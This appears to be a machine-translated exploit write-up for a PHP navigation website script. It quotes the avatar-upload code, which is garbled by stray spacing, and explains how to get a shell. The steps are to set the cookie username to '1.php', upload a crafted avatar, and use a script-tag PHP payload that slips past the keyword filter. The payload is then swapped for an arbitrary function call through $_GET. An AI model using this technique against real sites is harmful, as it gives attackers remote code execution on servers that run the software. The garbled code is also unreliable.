162100 navigation GETSHELL

. /Inc/require/z_other_face_up.php $ web ['img _ name_ B '] = 'Face -'. urlencode ($ session [0]); // This is obtained from the cookie, which is the cookie explode | the first character after which // gmdate ("YmdHis", time () + (floatval ($ web ["time_pos"]) * 3600); // if ($ _ POST ['ptype '] = 1) uploaded locally) {if ($ web ['max _ file_size '] [15] = 0) {err (' the system is set to prohibit upload. ');} If (is_array ($ _ FILES ['purl1']) & $ _ FILES ['purl1'] ['SIZE']) {@ chmod ('.. /.. /data', 0777); if (! File_exists ($ web ['img _ up_dir ']) &! @ Mkdir ($ web ['img _ up_dir '], 0777) {err ('image cannot be uploaded, And the upload directory does not exist. ') ;}$ Inis = ini_get_all (); $ uploadmax = $ inis ['upload _ max_filesize']; if ($ _ FILES ['purl1'] ['SIZE']> $ web ['max _ file_size '] [15] * 1024) {err ('image Upload Failed! The size of the uploaded file must be smaller than '. $ web ['max _ file_size'] [15]. 'KB. ');} If (! Preg_match ('/\. (jpg | gif | png) $/I ', strtolower ($ _ FILES ['purl1'] ['name']), $ matches )) {err ('image Upload Failed! Select a valid file in the format of (jpg | gif | png ). ');} If ($ fp = @ fopen ($ _ FILES ['purl1'] ['tmp _ name'], 'rb ')) {$ img_contents = @ fread ($ fp, $ _ FILES ['purl1'] ['SIZE']); @ fclose ($ fp );} else {$ img_contents = @ file_get_contents ($ _ FILES ['purl1'] ['tmp _ name']);} if (preg_match ('/<\? Php | eval | POST | base64_decode | base64_encode/I ', $ img_contents, $ m_err) {err (' prompt! Submission prohibited. This file contains the forbidden code '. str_replace ('? ','\? ', $ M_err [0]).'. ');} @ Chmod ($ web ['img _ up_dir'], 0777 ); if (@ move_uploaded_file ($ _ FILES ['purl1'] ['tmp _ name'], $ web ['img _ up_dir ']. '/'. $ web ['img _ name_ B ']. '. '. $ matches [1]) {

Test how to register a user, modify the COOKIE username to 1.php, and then upload the Avatar.

Test:

/_ Temp _/face-1.php.jpg [/img]

His filtering is too retarded.

<script type="text/javascript" language="php">// <![CDATA[phpinfo();// ]]></script>

 

Change $ _ GET [a] ($ _ GET) in the middle to bypass